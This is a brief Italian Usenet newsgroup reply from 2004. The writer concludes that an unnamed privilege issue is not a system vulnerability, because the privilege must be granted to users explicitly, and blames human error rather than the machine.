Ok, allora non e' una vulnerabilita' del sistema, vsito che tale
privilegio va concesso _esplicitamente_ agli utenti. Il problema e'
l'uomo, non la macchina :).
Ciao

"Gimli" <gimli...@QUESTOemail.it> wrote in message
news:20040221114542.62...@QUESTOemail.it...

... come sempre del resto ;)
Ciao
K